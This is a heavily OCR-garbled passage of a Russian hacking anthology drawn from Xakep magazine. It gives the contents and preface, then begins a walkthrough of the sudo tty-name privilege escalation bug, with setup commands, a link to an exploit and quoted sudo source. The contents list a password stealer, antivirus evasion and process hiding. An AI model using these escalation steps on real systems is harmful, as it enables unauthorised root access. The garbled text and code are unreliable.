Вы находитесь на странице: 1из 194

Библотека журнал

-U.нЕР
111111111 li..
www.xakep.ru
ПРИЕМ ЬI ,
ТРЮК И
и

CEKPETbl
ХА ЕРО В

Сан кт- Пе т ербуг

« БХВ - Пе т ербуг »

2020
УДК 004
БК 32.973
840

840 Взлом . Приемы, трюки и секрты хакеров. - СПб . : БХВ-Петрбуг, 2020. -


192 с.: ил. - (Библотека журнал « Хакер » )

ISBN 978-5-9775-6633-9
В сборнике избраных стаей из журнал « Хакер » описан технолгия поиска
и эксплуатци уязвимостей, деткированя « песочниц » и антиолдк, управле­
ния процесами в ОС семйтва Microsoft Windows и их маскиров. Раскзыв­
о ется спобах обмена даными между вредонсыми прогами и управляю­
щим сервом. Даны конреты примеы напися драйве режима ядра
Windows, перхват управления приложеням черз WinAPI, создания стилера
для получения паролей из браузеов Chrome и Firefox. Описаны приемы обфуска­
ци кода PowerShell. Отдельны разделы посвящены в з лому iPhone и Apple Watch.
Дл я чита ел ей , инт е р есу ющи :хся инф о р ма ци о н ой б езо па с н ос тью

УДК 004
БК 32.973

Гpyna подгтвки изданя:

Руков д итель проекта Пав ел Ш а л ин


Зав.ре д акцией Ек а т е рина С а ви с т е
Компьютерная верстка О льг и Се р г и е нк о
Д из айн об л ожки Кари н ы Солвь е во й

Подписан в печать 04 .06 .20 .


Формат 70 х 10 1
/ , 6 . Печать офсетная . Усл . печ . л . 15,48.
Тираж 800 экз . Закз № 5776 .
"БХВ-Петрбуг' , 191036, Санкт-Пербуг , Гончаря ул ., 20 .

Отпечано в ОА «Можайски полиграфческй комбинат ».


~, 143200, Росия , г. Можайск , ул . Мира , 93.
-;:а" www .oaompk.ru , тел .: (495) 745-84-28 , (49638) 20-685

ISBN 978-5-9775-6633-9 © ИТ1 Ю г ай А.О , 2020


© О ф ор мле ни е . О " БХ В-П ет е р бург " , О " Б Х В " , 2020
Содержани

Вместо предисловя ........................................................................................................ 7

1. Повышаем привлег до суперользватя черз уязвимость в sudo


( Иван aLLy Ко м ис с ар ов) ................................................................................................. 10
Подгтвка ..... .......... .. ...... ........ ... ... .... ........ .... ..... .... ........ ........... .......... ... .... ....... .. ............ .. ..... ..... .. 1О
Детали уязвимост .............................. ..... ............. ..... ... ... ............. ................... ...... .... .................... 12
Принцп работы э ксплоита .. .. .. .................. ....... .. ..................... ... .. .. .. ..... .... .................................. 15
Практичеся э ксплуатция и повышени прив ил еги й .......... .. .................... ........ .. .. .. ....... .. .......20

2. Эксплуатирем опасную уязвимость в ярлыках Microsoft Windows


( Иван aLLy Ко м исаро в) ................................................................................................. 24
Историчекй э ксур ....... .. .... .. ... ....... ... ...... .. .. .......... ..... ..... .. ....... ..... ............ ..... ............ ... ..... ..... .24
Стенд ........ .. .... ....... ... ... ......... ..... .. ... ... ........ .......... ..... .... .... ....... .......... .... ..... .. ..... .. ........... ..... .... ........ 25
Особенти л инковая ................... ................. ...... ... ........... ........................ .. ...... ..... ........ ..... .... 26
Особен т и э кспл у атци .... .... ... .. .... ...... .... .... ........ ....... .... ....... ............. ............ ........... ...... ........ 35
Время запускть ...... ...... .... ..... ......... ... ......... .. ... ..... ........ ....... .... .... ...... .. ... ............ ...... ..... ......... ... .... 39
Кратко о патче .................. ......... ... ... .... ......... ...... ....... ....................................... .. ......... .. .. ........... ....43
Вывод ....... ....... .... ... .. ...... ............. ... ...... ..... .................. ....... ..... .. ....... ....... .... ....................... ... ....... 43

3. Разбирем метод общения малври с управляющим сервом


черз аноимые сервиы вопрс и отве (Г е р м а н Н амес тник ов) ............... 44
Аноимые серви с ы вопрс ои
..... .. ....... .. ................... .. ......... .. .... .. .... .. ............... .. ...... .45 т ве т ов
Канл связи « операт - бо т» .... ..................................... ... ..... .. ............... ... ......................... .. .. ... 46
Регистраця ... ... ... .... ............. ... ... ..... ...... ............. ... ... ... .. .... ..... ............... .......... ... ..... ........ ... ... .. ....... 46
Автори з ация ... ...... .......... ....... ..... ... ..... ...... ............. ... ... ..... .......... ........ .. ................. ........ .. ... .. ...... .... 48
П у бликаця информац дл я бо т ов ..... ...... ... .... ...... ......... .... ......................... ........... ...... ... ...... .... .49
Канл свя з и « бо т - опера т ор » ... ..................... .. ............. .. ...................................... .. ........... .. ....... 50
Выво д ы ... ........... ..... ...... ........ ..... ... .. .... ... ............. .... ... ....... .... ... .... .... .............. ... .. ... ..... ... ....... .... ... .. . 53

4. Обфусцирем вызо WinAPI и изучаем спобы


принудтельог завершния процесв в Windows (Nik Zeroj) .......................... 54
вы Обфускация з ов
WinAPI .... .... .. .. ..... ................ ....... .... .. ... .......... ... .... ........ .................. ....... .... 54
Прину д и те льное завершни
процесв ...... ............. ............................. .................... .................. 62
По д го т овка ............. .............. ... .... ......... ......... ...... .................. ............. ............... ...... ..... ............. ... .. 63
Спосбы з авершния процесв ....... ......................... ..... .... ....... .... ... .... ....... .......... .. ..... .... .... 66
Спосбы з авершния п от окв .... ....... ........ ... .. ...... ...... .......... ........ ..... ... ... ..... .. ....................... 71
Заключени .......... .. ....... .................. .... ... ... ..... .. ....... ... .... .......... ... .... ....... ...... .. ................. ..... .. .. ..... .. 74
0--4--0

5. Пишем стилер. Как вы т ащи т ь па ро л и Chrome и Firefox своим руками


(Nik Zeroj) ......................................................................................................................... 75
Chrome ...... .......... .............. ..... ..... ....... ... ....... ..... ... ...... ........................ .... ... .. .. ...... ..... ..... ... ... .. .. .. .. .. ..75
Firefox ........ .. ....... ............ ......... .. ..... ... .. .. ................ ... ............................. ........... ...... .... .. .. ........ ..... ... 80
Network Security Services (NSS) ....... ........ .... ... ..... ..... ..... ... .. .... .. ...... ......... ...... ...... .... .. .... ...... ...... ... 81
Заключ е ни е ... ........... .................. ...... .... .. ..... ...... ..... ................... ...... ... .... ........... ...... ....... .... .... .... ..... 83

6. Детк песочницы. Учимся о пр едл я ть , работе л и приложен


в sаndЬох-изляц (Nik Zeroj) .................................................................................... 84
Провея ем запущены е п роцесы
... .. ...... ... ................. ........................... ... ................ ... ... ... .... ..... 84
Провея е м п одключены наш е
е м а д ресном мо дул
простанве ви ..... .... ........ .... ... ... ....... ..... 85
Че л ов е ч е ск ий фактор ... .... .... ..... ............. ...... ...... ....... ..... ... ............ .................. ........ .... .. .... ... ..... .... 86
РЕВ I NumberOfProcessors ........ .......... ... .. .... ... ... ...... ... ... ... ........... ...... ... ... .... ..... .. ......... .. ... ... ..... .... .87
Выясн ем р азме ор п еративной памя т и ..... .... .... ....... ........ ............. ... .... ........ ........... ... .... .. ... .... ..... 87
Пров е ря е м с во бо д н ое место ........... ....... ... ... .. .. ....... ... .................... ......... ........ ...... .... .. .. .... ... ...... ... 88
Прос т ы е тайминг-к ..... .... ................ .... .... ........ .......... ........ ... ......... .... ... ..... ........ .... ....... ... .... ... . 88
Быстр й дет к т гипе р визор ..... ..... ... ... ... ..... ........ .... ... .... .......... .... ... ........... ... ...... ........ ......... ..... 89
За ключени ... .. .... ...... ... .. ... ........ ........... ........... ..... ......... ... .... ..... ... ..... ....... ............ ........ ... ... .......... ... 90

7. Учимся создав т ь и прин уд ит ел ьно з авершть критчные процесы


в Windows (Nik Zeroj) ..................................................................................................... 91
Rt\SetProcesslsCritica l ........ ... ..... ............... ... .... ... ................. .... ... .. .... ... .. .............. .... .... ..... ........ .... .92
NtSetlnformationProcess ... .......... ......... ..... ........ ........ ........ ........ ..... ........... ........ ..... ..... .... ..... ... .... ... .93
Провека кр итч н ости п роц е с с а ...... ... ... ......... ..... .................. ......... ... .... .... .... ...... .... ... ... ..... ... ...... 94
Выво ды ..... ..... .. ..... ... .. ..... ... .... ..... .... ....... ...... ... ............ .. ... ..... .. ... ... ... ... .. ... .... ..... .............. ... .. ...... .... .95

8. Как перхваты т ь у прав лен и е л юбо й прогам м о й чер з WinAPI


(Nik Zeroj) ...............................•.....................................•.•..............................................•.. 96
Каки е б ы ва ю ..... ...... .. .. .... .. ......... ..... ............... .... ... ........ .. ............... ..... ...... ... ..... ... ........ .. ...... 96
т хуки
Поч ему хуки р аботю ? ......... .... .. .. ..... ............ .................................... ........ ...... ... .. ...... ...... ....... .... 96
Сплайсинг ф ункций Wi nAP l ......... ..... .. .. .......... ... ........... ... .. ..... ........... ... ... ............ ....... ...... .... .. .. ... 97
Пр олг ф ункций , трамплин и диз ас ем б л ер дл ин инстр у кций .. .... ...... ... .. ..... ........... ......... 97
Б иблотек для перхват а ...... ..... ......... ......... ...... .. ...... ....... ......... ... ........... .... ... ....... ..... ....... ..97
Те сто вое пр иложен .. ...... ... .. ........ .. ... ... .. .. ... .... .... ...... ............... ..... .... .......... ...... ..... ........ .... .98
Инж ектор .... .. ..... ... .. ...... ... .... ......... ....... ..... .. ......... ....... .. .... ... ..... ........ .... ...... ..... ... ..... ...... ....... 101
Итоги ... ...... .... ............ .... .. .......... ...... .... .. ..... .... ...... .... ..... ................... ... .... .... .. .... ..... .. ..... ... ...... ....... 103

9. Антиоладк. Теория и прак ти к а з ащиты приложенй от д ебаг


(Nik Zeroj) ....................................................................................................................... 104
lsDebuggerPresent() и ст р уктра РЕВ .... .. ............ ..... ....... .......... ......... ..... .. .... .... ....... .... .... ... ..... .. 104
NtG\oba\Flag .. ........... .. ... ..... .. ... ... .. ............ ........ ... ..... ... ... ...... ..... ...... .. ..... .. ... ..... .. .......... ...... ......... . 105
Flags и ForceFlags ................... .... ..................... .. ...... ... .. ...... ............. .. ... .. ... ....... .. ...... ........ ............ 105
CheckRemoteDebuggerPresent() и NtQuerylnformati onProcess ........ ...... .......... ..... .. .... ..... .... ...... 106
DebugObject ....... .. ........ .. ......... ... .... ..... ....... .. ....... .. .................. ............... ... ......... ...... .... .... .... .... ..... l 07
ProcessDebugF \ags .... ..... .......... ..... ......... ........... ..... .......... .... ....... ... ... ..... ...... ................... ..... ...... ... 108
Провек а ро дител ь п ског р оцеса ....... ... .. .................... ...... .......... .. ... .... .. ..... ..... ......... .... .... ... .. .. 108
TLS Callbacks ..... ....... .. ..... .. ................. .. .... .... ... ...... ... ............ ............. .. ................. .............. .. ....... 109
Отла д очны е р ег и ст р ы .... ... .... ... ..... ...... ......... ....... .... ..... ................ ..... ....... ... .. .... .. ...... ... .. ............. 109
□ -5 □

NtSetlnfonnationThread ............. .. ........ .......... ... ................ ... ........... ...... .... .... ....... ........ ....... ... ....... 110
NtCreateThreadEx .... ... ........ .............. ........ ... .......... ..... .. ........ ........ .... .... ....... .... ..... .. ....... ..... ...... .... 11 О
SeDebugPrivilege ..... ..... .. .... ...... .......... .. ... ... .. ............................ ... .. ........ ........... ............ ............. ... 1 1 1
SetHand l elnfoatiп .. ................... ...... ....... .. .......... ...... .... ................... .. .. .... ..... .......... ... .. ..... .... .... 111
Заключени .... ...... .... ... ................. ..... .. .. .. ... ............. ........ ............ ... ...... ...... ..... ... .. .... ...... .. ............. 112

10. Как с делать свой драйве режима ядра Windows


и скрыва ть процесы (Nik Zeroj) ............................................................................... 113
Создание драйве KMDF .... .......... .......................................... ........ ..... .. .... ....... .............. .... ... ... 114
Точка вхо да в драйве
.......... ...... .... ...... ............. ... .................. ...... ........ .. ........ ..................... 114
Interrupt Request Level (IRQL) ................ .......... ....... ... .. ... ..... ......... ...... ..... .... .... .... ...... ......... 115
Пакеты запрос вода-ы да (Iпput/O Request Packet) ..... ........... .. .... ...... .. ............. 115
Создание устройва драй в е ра ............ .... .. ... ... ...... ... .. ......... ... ........ .. ....... ............ ............ ... 116
Скрытие проuесв ме тодм ОКМ (Direct K erп l Object Manipultoп) .... .. ...... ......... ..... .... 117
Загрузчик драйвео ...... ... ........... ..... .. .. ... ................. .... .... ...... .. ...... ... ... .. .... ... .. .... .. ....... ... ........... . 12 1
Итоги ...... .......... ........ .. .. .. .. ... ........ ... ....... ................... ..... .. .......... .. ..... ...... ...... ............... ........ .......... 123

11. Маскир уем запуск процесв при помщи Process Doppelganging


(Nik Zeroj) ....................................................................................................................... 124
Различя Process Dopel ga п g iп g и Holwiп
g ................. .... .... .. ....... .... ....... .... ....... ..... .. 124
Process
Как пользватся недокум ент иров а ными
N T API ...... ... ..... ... ... .... ........ .. ... .... ......... .. ... .... .... .. .. 125
Приступаем к работе ................... ............ .. .......... ........ ...... ....... ... ...... .... .... ........ ... .. ......... ..... ... .... 126
Заключени ................ ............ ............. ................................... ..... .. ...... .... ... ...... .. .... ......... .............. 13 1

12. Фаз з инг : автоми зируем поиск уязвимостей в прогамх


(Nik Zeroj) ....................................................................................................................... 132
Техник .............. .. ... ... .................................. ....... .. ....... ............ ................... ........ .... ............ ..... .. ... 132
Типы фазеров .... ... ... .............. .. .. ........ .... ... ........ ........ ........ ........................................ .... ....... ....... 133
Форматы файлов .... ......... .. ..................... ..... ..... .... .................. ... .. .. ... ... .... ..... .... ........ ... ....... .. 133
Аргументы коман д но й строки пер и емны окружения .. ................. ....... .. ..... ..... ....... ... 134
Запросы IOCTL ................... .............. ....... .......... ...... .. ..................... ........ .... ... ....... ... ...... ... ... 134
Сетвы протк л ы ....... ....... .... .. ..... .. ...... .... ....... ..... ........ ... ......... ...... ...... ........... ............. ... .. 134
Бра узерны д ви жки .. .... ... ........ ... .......... ... .... ....... ..................... ............ ........... .... ....... .. ... .. .... 134
Оперативня памя ть ... ....... .. ....... .... ...................... .. ... .. .... .......... ... ...... ...... .. .. .... .. ..... ... .. ... ... .. 134
Проблема покры тия ... .................................... ............ ... ......... ...... .. ... ... .. ..... ... ...... .. .. .... .. ... ........... 135
WiпAFL ...... .................................................................. .... ...... .... .... .. ........ ... .. .......... .. ......... .. .... ..... 135
MiпFuz .... .... ..... ... ..... .. ......... ..... .... .... .. ......... ........ ..... ...... ... ..... ....... ...... ..... ...... ..... ........... ..... ........ 137
Практи ...... .. .... ..................... .... ...... ..... ... ............ ................ ... ...... .. ... .. .... .. .... ....................... ....... 138
Заключени .. ...... ............. .......... ............... ... ..... ... ... ..... .............. .... ............ .. .... .... ...... ....... ... .... ...... 140

13. Обфускация PowerShell. Как спрятаь полезную нагрузк


от глаз ••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 141
антиврус (Айгуль Саи 1п г ачи1-)
PowerShell в хакинге ....................... .. .. ..................................................... ... ... ...... ..... .. ... ..... ... .. .... 141
Обфускаuия PowerShell . Пр ят ки с антивр усом .. ........ .... ... ........ ................. ..... ........... ............. 142
Автомаизруе обфускаuию .................... .... ......... ... ... .. .... .... ....... ... ........ .. ........... .... ......... ... ... .. 145
DOSfuscatioп ....... ........................ .......... ... .. .. .. .... .. ......... .. ....... ....... ... .... .. ........ ........ ......... .. .. ...... .... 147
Реакция антиврусо ...... ..... .......... ... ........ ...... ..... ... .............. .... ... ..... ... .. .. ... .... ... ..... .... ........ ... ...... 148
Выво д .. ....... .. ................. ............... .. ....... .......... .. ... ........ ... ......................................... ........ .. ....... . 149
□ -6 □

14. Как взломать iPhone. Разбирем по шагм вс е варин т ы д ост у па


к даным устройв с iOS (Олег А ф о н и н ) .....•................•................•...•.................... 150
Это завист ....................... ... ............. .. .... .. ....... .. ...................................................................... .. .. . 151
Установле ли ко д б л окирв ? .. ...................... .. .......... .. ... .. ........... .. ... .. .. .... ... ...... .. ............ .. .... . 151
ли Установле пароль на резвную копию ? .. ...... .. .. .. .......... .. .. .. ............ .. ...................... .... ...... 151
Джейлбрк и фи з ическо е из в л еч е ние да ны х .............................................. .. ......................... 153
И з вес т л иен ко д б л окирв ? .... .................................. ...... .. .......................... .. ...... .. ................... 155
Экран у стройва з аб л окирв ан ил р азблоки ро ван? .............................................................. 155
Включен iPhone и л и вык л ючен ? ............................ ...... ......................................................... .. ... 157
В ка их с лу чая х м о ж но в зл ом ать к бло од киров ки э кран а ........................ ............ ...... .... .. .. ..... 159
Как рабо т ает в з лом к ода б л окир о вк и .......... .... .............. .. .......... .. .. ...... .. ..................................... 160
Режим USB Restricted Mode ......................... ........ .. .. .... .... .. ...... ........ ......... .. ...... ........ .. ............. ... 160
Что дел ать , ес л и тел фон з аб л о к ир ова н , с лом ан ил его восе н ет ............................ .. .. .. ...... 162
Заключени ........... ....... ....... .... ................................ ............ ... ...... ... .. .... ....... ..... ... ..... ........ .......... .. 162

15. Извлекам и анлизруем даные Apple Watch (Олег А ф он ин) ................... 164
Почем у Apple Watch? .................... ................ ......... ............. .. .... ...................... .. ......... .. ..... .......... 164
Анализ ре з ервной копи iPhone .. .. ........ .... ........................ .. .............. .. ........ .. .............. .... ...... ..... 165
Промежу т очные итог ........... ....... .. ......... .. .............................. .. .. ............. ..... ....................... .. .... 174
Изв л ечни д аны х из Apple Watch че р ез ад п те р ...... .. .. .... .. ..................................... .... ... .. ..... 175
По д ключ е ни к е ко мп ью те р у ... .. ... .... .......................... ...... .. .. ........ ... ..................... .. ... .. .... ... . 175
Анали з л ог-ф а й л ов час о в .... .......... .......... .. ...... .. ...... .. ... .. ...... ........ ... ...................... .. .... .. .... .. 180
Доступ к ме д иафйлм .. .. ...... .. ......... .. .. .. ... ...... .... .... .............. .. ............. .. .... .. ......... .... ........ .. 182
Выво д ы ..... .. .. .. ........................... ............ .. ........ ........... .... ....... ... ... ... ... ...... .......... ..... .. .. .......... 185
Дос ту n чер з о б лако ........................... .. ....... ... ....... ..... .... ............... ........... .. ...... ...... ..... ................ 185
Заклю ч ени ..... .... .. .................. ..... ........................ ........... ...... ..... .... ......... ... ... ..... ..... .......... .. ....... ... 186

«Хакер»: безопаснть, разботк, DevOps .......................................................... 187


Предмтный указтель .............................................................................................. 190
Вместо предисловя

Ты держишь в руках необычую книгу . Это не традицоный самоучитель ил


справочник по информацй безопаснти и не скучная энциклопедя, вклю­
чающя в себя информацю , котрую без осбг труда можн отыскаь в Интер­
нет . Перд тобй - сборник тщаельно отбраных , самых интерсых , лучших
публикацй из легндаро журнал «Хакер», объединых общей темой:
«ВЗЛОМ».

В этой книге почти нет теори , посвященй архитеку операциных ситем и


приложенй. Ты не найдешь здесь долгих описанй принцов работы прогам ,
устройва драйвео и баз даных. Под этой облжкй собраны тольк практиче­
ские приемы взлома, описаные настоящим професиналм и многкрат ис­
пытане в дел. Никаой «воды», тольк полезная информаця. Это и есть самое
настояще искутво хакерств в его истном , концетривам виде.

Всякий раз, когда в Интер ил традицоных СМИ я вижу новстые заголв­


ки из разяд «Хакеры организвл очердную вирусню атку» ил «Баз дан­
ных интер-магз была похищена хакерми», мне нестрпимо хочется оты­
скать написвшего это журналист и стукнь его по голве чем-нибудь тяжелым.
Работя редактом, я безжалостн вымарю подбные строки из постуавших
в издательсво материлов . «Почему ты с таким упорствм защиешь хаке­
ров?» - недоумвают колеги. «Потму что они ни в чем не виноаты», - всякий
раз отвечаю я.

Истиное происхжден термина «хакер» сейча , наверо , установиь уже не­


возмжн: предолагтся , что он зародилсь в кампусх и аудиторях Масчу­
сетког технолгичск универста ещ в 60-х годах прошлг столеия. Бы­
туе мнеи , что словечк поал в обихд компьютерщив из жаргон хип , где
глао «to hack» означл отнюдь не «взламыть», ка это считаея сейча, а «со­
ображть», «врубаться». Собствен , в 70-х «хакерми» ка раз и назывли тех, кто
« врубается» в принцы работы компьютерв , глубок понимает происхдяще в
них процесы , то есть высокалифцрнх IТ-специалтов , прогами­
стов , разботчикв. Хакеры - это прежд всего иследоват , настоящие учены
из мира высоких технолгий, те самые косматые парни в очках, сквозь толсые
стекла котрых можн поджигать муравье . Впрочем , довльн часто среди них
встречаюя и девчонки.

Настоящие хакеры никогда не взламыи чужие приложеня ил сервы ради


наживы и уж тем боле не совершали престулний - разве что порй использва-
□- 8 - □

ли свои знаия для организц безоидных розыгшей . Порй хакеры использ­


вали собтвены умения в личных целях , но все равно старлиь не наосить ком­
пьютерным ситема и их пользватеям серьзног вреда. По боль шому счету,
хакерми можн смело назвть Стива Возняка и Била Гейтса , Линуса Торвальдс
и Ричард Столман . Даже создатель первой в истор человста электрон ­
вычислтеьной машины Конра д Цу з е был своег рода хотя хакером, в его времна
таког поняти не сущетвоал восе.

Сегодня расхож е слов «х акер », неког да обзначвше прост высокланг


компьютернг специалт , оказлсь затеро до дыр не разбиющмся в во­
просе журналистм , котрые низвел IТ-професиналв доурвня компьютер­
ных престуников и кибер злоде в . Масл в огнь по дл ил многчислеы
онлайвые и не очень изданя , благодря старниям котрых ные хаке ром себя
мнит любой школьни , скачвший откуда-нибь по дбо рку « прогам для взлома
Интера ».

В мире сущетв множеств IТ-специалтов, котрых можн назвть настоящи­


ми професиналм своег дела. Это админстроы е , подерживаю­
щие целы кластеры серво , это прогамисты , пишуще сложный код , это экс­
перты по информацй безопаснти, архитекоы операциных ситем и,
конеч, вирусные анлитк , иследующ опасные угрозы. И все они - не­
множк хакеры. Вот почему я отншусь к людям, котрые заслужи право имено­
ваться имено так, с большим и искренм уваженим, ведь хакер - это звучит
горд.

Авторы собраных в этой книге стаей - настоящие этичные хакеры в том само,
хоршем смыле э тог слова. Это истные професиналы , неутомиы иследо­
ватели , опытнейши э ксперты в сфер защиты информац и поиска уязвимостей.
Сегодня они делятс своим з наиям и опытм с тобй, читаель.

В журнале «Хакер» царит своя неповтримая атмосфер. Во-первых , здесь принято


общаться с читае лем на « ты ». Во-втрых , на страницх журнал допустим компь­
ютерный сленг, а изложеня манеру в стаьях можн назвть ирончй и шутли­
вой. Все эти добрые традиц в полнй мер распотниль и на книгу. Потму
не удивляйс , встреи на страницх изданя слов «ф ича » вместо «функциоаль­
ная осбенть приложеня » ил « пофиксть» вместо «исправть выяленую
ошибку в ко де». У так нас заведно.

Поскльу тема этой книг весьма специфчная , мы не може не опубликвать


в предислов несколь важных пре ду преждний . Вот они:

ВНИМАЕ!
Вся приведная на страницх этой книг информаця , код и примеы публикются
исключтеьно в ознакмительых целях . Ни издательсво «БХВ» , ни редакция жур­
нал «Хакер», ни авторы не несут никаой отвесни за любые последтвия ис­
пользвания информац, полученй в результа прочтения книг , а также за лю­
бой возмжный вред , причнеый информацей из этог изданя.

Помните , что несакциорвый доступ к компьютерны ситема и распот­


неи вредонсг ПО преслдуютя по закону . Все расмотены в книге методы
□- 9 - □

представлны в ознакмительых целях . Каким-лбо образм используя представ­


леную в книге информацю, вы действу исключтеьно на собтвеный страх и
риск .

Искрен надеюсь, что ты , доргй читаель , прекасно понимаешь, что любые


з наия подразумевют отвеснь. С использванем однй и той же ядерной
реакци можн постриь атомную электросанцию , котрая сог рет милоны

людей , а можн сорудить бому , спобную уничтожь их . Уверн , ты сделашь


правильный выбор и используеш обретны благодря э той книге знаи я во бла­
го - для борьы с компьютерныи угрозами , повышения информацй безо­
пасноти и выялени уязвимостей , котрые можн и нужо закрыть . Ну а я , сота­
витель этог сборника , и авторы опубликваных в нем стаей будем рады видеть
тебя среди постяных читаелй журнал « Хакер ». До встречи!

Вал.ептин Холмгрв,
редакто «Взлом» рубик : псурал «Хакер»

http://xakep.ru
http://holmogorov.ru
-□
......
~НЕР

1. Повышаем привлег
до суперользватя

черз уязвимость в sudo


Иван aLLy Комисарв

Команд sudo в UNIX и Linux позвляет обычнму пользватею выполнять


команды от имен других пользватей, в частнои от root. Ребята из Qualys на ­
шли в sudo уязвимость типа LPE, котрая дает аткующем возмжнсть повысить
привлег в ситем. Посмтри , ка это работе.

Уязвимость затргиве все верси sudo, начия 1 . 8 . 6р7 и закнчивя 1.820р ,


а связан ошибка с неврой логикй обратки результаов /p roc/ [pidJ /stat
в функци get _process _ ttyname () . Используя специально сформиваные симво­
лическ сылки , злоумышеник может вызать команду sudo и подменить в е

контес пользватеский терминал симлнко на нужый файл. Таким образм,


он может перисать содержим этог файл результаом работы выпо лняемой
черз sudo команды.

Подгтвка
Начнем с выбора операцинй ситемы. Я буд использват CentOS 7 в качеств
гостевй ОС , поэтму все мои манипуляц будт актульны имено для этой вер­
си ситемы. Запускть ОС черз Docker я не советую- SELinux в нем работе не
так же, ка в полнцем дистрбуве. Лучше использват VMware ил
Virtua\Вox.

Чтобы протесиваь уязвимость , нам понадбятс три условия:

1. Обычнй пользвате с sudо-привлегям выполнеия каой-нибудь про­


грамы.

2. Активроаный SELinux (Security Enhanced Linux).


3. Сам бинарк sudo должен быть собран с подержкй SELinux (подержка sudo
-r role).
Разбермся с каждым пунктом.

Для начл создаим юзера attacker. Я уже сдела это на этапе устано вки ситемы ,
но если теб по каим-то причнам такой варинт не подхит, то это можн про­
вернуть следующй командй в консли:
□- 11 - □

useradd - d /home / attacker -s /bin/bash - р $(echo verysecretpass I openssl


passwd - 1 -stdin ) attacker

Тепрь делгирум новиспечму юзеру возмжнсть выполнять каую-нибдь


команду от суперользватя. Не буд далеко отхдиь Qualys и для от репота
демо нс т раци уязвимост использую бинарк sum (https://www.opennet.ru/
man.shtml?topic=sum&category=l&russian=O), котрый занимется подсчетм
контр льной сумы указног файл. Для этог можн воспльзатя командй
visudo ил же прост д обавить строчку attacker ALL= (ALL) NOPASSWD : /usrЬinm
в файл /etc/sudoers (рис . 1. 1).
В CentOS 7 SELinux включен и прекасно работе из корби, никах поэтму
доплнитеьых действи вторй и треий пункты от нас не потребую . Провеить
текущий стау подситемы можн командй sestatus (рис. 1.2).

• CentOS7 (Befor• update sudo) [RunningJ - Oracl• VM VirtualBox □ х

Рис. 1.1. Добавлени пользватею прав на выполнеи команды черз sudo

~ Cent0S7 - VМwor Worlcst.tion 12 Player о х

Рис. 1.2. SELinux работе в CentOS из корби


□- 12 - □

С подгтвкй з акончи ли, время самое скачивть э ксплоит по следующй • сылке:


https://www.exploit-db.com/download/42183 и перходить к разбоу д еталй уяз­
вимост.

Детали уязвимост
В само начле я упомянл, что проблема находится в функци get_process_
ttyname, котрая объ я влена в файле ttyname.c.
Давй разбемся , что делат эта функция . При выполнеи команды она получает
информацю о стауе процеса /proc/[pid]/stat и читае номер терминал tty и з
поля под номер 7- tty _nr (рис. 1.3).

Рис. 1.3. Поле tty_nr (7) - номер терминал , котрый использует процес

Саму струк по лей у stat можн пос мотреь в файле /usr/src/linux/fs/proc/array.c.

493: seq_printf (m, " %d (%s) % с ", pid_nr_ns (pid , ns) , tcomm, state) ; [1 2 3]
4 94 : seq_put _ de c imal 11 (m, " ", ppid) ; [ 4]
495 : seq_put_ decimal_l l(m, pgid ) ; [5] 11 11

'
496: seq_put_decimal_ll(m, sid ) ; [6] 11 "

'
497 : seq_put_decimal_ ll(m, 11 " tty_nr) ; [7]
'
498 : seq_put_decimal ll(m, tty_pgrp) ;

Поля , ка ви д ишь , отделяюtс друг от друга пробелами. По ним функция


get_process_ttyname и разбивет строку (результа работы /proc/[pid]/stat) для
дальнейшго парсинг а.

j 1src/ttyname.c

48 0 : get_process_ttyname (char *name , size t namelen)


481 :

490 : /* Try to determine the tty from tty_nr in /proc/pid/stat. */


491 : snprintf (path , sizeof(path) , " /proc/ %u/stat ", (unsigned int)getpid()) ;
4 92 : if ( ( fp = fopen (path , " r " )) ! = NULL) (
□- 13 - □

493 : len = getline(&line , &linesize , fp) ;


494: fclose(fp) ;
495 : if (len 1 = - 1)
496 : /* Field 7 is the tty dev (О if no tty) */

501 : while ( *+ер ! = ' \0 ' )


502 : if (*ер= ') '

503 : *ер = ' \0 ' ;


504 : if (++field 7) {
505 : dev_t tdev = strtonum(cp , INT_MIN , INT_МAX , &errstr) ;

Тепрь посм от рим на поле под номер 2 (comm). Это не что иное , ка имя испол­
няемог фай ла, взятое в круглые скоби. А ведь он вполне может содержать про­
белы . Напри ме р , возьме стандрый бинарк cat, скопи р уем и сохраним его
по д новым имен ем - cat with spaces. Тепрь выполним к оманду cat\ wi t h\ space s
/ p roc/ s e l f/stat и посм отрим на результа (рис. 1.4).

Рис. 1.4. Парсинг по вызает пробелам проблему верног опредлния tty_nr

Как ви д ишь , если те п ерь, следуя коду функци get_process_ttyname, р азб ивать
строку по пробе то лам, элемнто п од номер ом 7 будет совем не tty_nr, ка ожи­
да ется. Вы ход и т, что , используя о пр едлн н ое количеств пробелв в имен , мы
може нарушить заложе н ую ра з ра ботчикам лог ик у ра бот ы функци
get_process_ ttyname.
Как можн у прав л я т ь имен коман д ы? Конеч , при помщи симлнков! Е сли мы
вы з овем sudo чер ез симлнк с имен ./ 1, то get_process_ttyname вы з овет функ­
цию sudo_ttyname_dev для поиска нес у ществ ую щего tу-стройва с номер 1
в масиве search devs .

l /src/ttyname.c
505 : dev t tdev = strtonum(cp, INT_MIN , INT_МAX , &errstr) ;

510 : if (tdev > О) {


511 : errno = serrno ;
512 : ret = sudo ttyname_dev(tdev , name , namelen) ;

318 : sudo_ ttyname_dev(dev_t rdev , char *name , size t namelen)


319 : {
□- 14 - □

326 : /*
327 : * First check sea r ch_devs for common tty devi ces .
328 : */
329 : for (sd = search_ devs ; (devname = *s d) != NULL; sd++)
330 : len = strlen(devname) ;
331 : if (devname[len - 1] == ' / ' ) {

14 7 : /*
148 : * Devices to search before doing а breadth- first scan .
149 : */
150 : static char *search_devs[] = {
151 : " /dev/console ",
152 : " /dev/wscons ",
153 : " /dev/pts/ ",
154 : " /dev/vt/ ",
155 : " /dev/term/ ",
156 : " /dev/zcons/ ",
157 : NULL
158 : };

Дале выполнеи перходит к функци sudo_ttyname_dev, котрая , в свою оче­


редь, вызает sudo_ttyname_scan. Эта функция продлжает поиск несущтвю­
щего tty в катлоге /dev/. Он выполняетс при помщи так назывемог поиска
в ширну (breadth-first search, BFS).

369 : /*
370 : * Not found? Do а breadth- first traversal of /dev/.
371 : */
372: ret = sudo_ttyname_scan(_ PATH_ DEV , rdev , false , name , namelen) ;

В это моент мы може проэкслуативь уязвимость. Когда поиск прохдит


в устройве /dev/shm (общей памяти , SHared Memory), аткующий может подсу­
нуть прогаме в виде tty любое тексов устройв в файлов ситем. Затем,
войдя в сотяние гонки и успешно е выигра, можн представиь любой файл
в качеств своег терминал.

